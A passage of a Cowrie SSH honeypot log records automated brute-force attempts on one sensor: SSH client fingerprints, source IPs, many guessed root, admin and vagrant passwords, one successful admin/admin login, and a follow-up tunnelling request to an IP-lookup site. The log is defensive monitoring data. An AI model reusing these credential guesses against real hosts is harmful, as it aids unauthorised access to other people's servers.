mac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:35.109190Z","src_ip":"103.153.68.219","session":"42d4383a275b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1995","message":"login attempt [root/artem1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:35.855450Z","src_ip":"103.153.68.219","session":"42d4383a275b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:37.107167Z","src_ip":"103.153.68.219","session":"42d4383a275b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":41148,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c9c44b4f7ca","protocol":"ssh","message":"New connection: 89.108.118.91:41148 (159.203.135.109:22) [session: 0c9c44b4f7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:37.196490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:37.201786Z","src_ip":"89.108.118.91","session":"0c9c44b4f7ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:37.333856Z","src_ip":"89.108.118.91","session":"0c9c44b4f7ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc1234","message":"login attempt [root/qweasdzxc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:37.726928Z","src_ip":"89.108.118.91","session":"0c9c44b4f7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:38.861480Z","src_ip":"89.108.118.91","session":"0c9c44b4f7ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.249","src_port":43346,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f1214e090e2","protocol":"ssh","message":"New connection: 196.92.7.249:43346 (159.203.135.109:22) [session: 9f1214e090e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:41.645872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:41.650429Z","src_ip":"196.92.7.249","session":"9f1214e090e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:41.774614Z","src_ip":"196.92.7.249","session":"9f1214e090e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:42.301147Z","src_ip":"196.92.7.249","session":"9f1214e090e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:43.428485Z","src_ip":"196.92.7.249","session":"9f1214e090e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":53160,"dst_ip":"159.203.135.109","dst_port":22,"session":"022eff190e94","protocol":"ssh","message":"New connection: 121.168.139.251:53160 (159.203.135.109:22) [session: 022eff190e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:47.582437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:47.649420Z","src_ip":"121.168.139.251","session":"022eff190e94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:47.849368Z","src_ip":"121.168.139.251","session":"022eff190e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:48.634118Z","src_ip":"121.168.139.251","session":"022eff190e94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:49.840781Z","src_ip":"121.168.139.251","session":"022eff190e94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":57008,"dst_ip":"159.203.135.109","dst_port":22,"session":"915065a0b5e5","protocol":"ssh","message":"New connection: 27.79.1.70:57008 (159.203.135.109:22) [session: 915065a0b5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:51.526012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:51.556377Z","src_ip":"27.79.1.70","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:51.788352Z","src_ip":"27.79.1.70","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45548,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad484b502d0","protocol":"ssh","message":"New connection: 193.37.70.224:45548 (159.203.135.109:22) [session: 5ad484b502d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:52.283761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:52.288578Z","src_ip":"193.37.70.224","session":"5ad484b502d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:52.381500Z","src_ip":"193.37.70.224","session":"5ad484b502d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wasser","message":"login attempt [root/wasser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:52.674059Z","src_ip":"193.37.70.224","session":"5ad484b502d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:53.017174Z","src_ip":"27.79.1.70","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.1.70","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:53.288954Z","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:53.643715Z","src_ip":"27.79.1.70","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:53.647664Z","src_ip":"27.79.1.70","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:53.768976Z","src_ip":"193.37.70.224","session":"5ad484b502d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:53.983805Z","src_ip":"27.79.1.70","session":"915065a0b5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":36564,"dst_ip":"159.203.135.109","dst_port":22,"session":"e643a247f703","protocol":"ssh","message":"New connection: 156.38.73.89:36564 (159.203.135.109:22) [session: e643a247f703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:56.337212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:56.342846Z","src_ip":"156.38.73.89","session":"e643a247f703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:56.551434Z","src_ip":"156.38.73.89","session":"e643a247f703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@Abc","message":"login attempt [root/12345678@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:57.387467Z","src_ip":"156.38.73.89","session":"e643a247f703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:48:58.593378Z","src_ip":"156.38.73.89","session":"e643a247f703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":59012,"dst_ip":"159.203.135.109","dst_port":22,"session":"f652a049110c","protocol":"ssh","message":"New connection: 103.107.60.45:59012 (159.203.135.109:22) [session: f652a049110c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:04.600011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:04.606813Z","src_ip":"103.107.60.45","session":"f652a049110c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:04.824164Z","src_ip":"103.107.60.45","session":"f652a049110c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38568,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a2b43cb39ce","protocol":"ssh","message":"New connection: 103.82.132.16:38568 (159.203.135.109:22) [session: 6a2b43cb39ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:05.611378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:05.616360Z","src_ip":"103.82.132.16","session":"6a2b43cb39ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starcraft2","message":"login attempt [root/starcraft2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:49:05.726431Z","src_ip":"103.107.60.45","session":"f652a049110c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-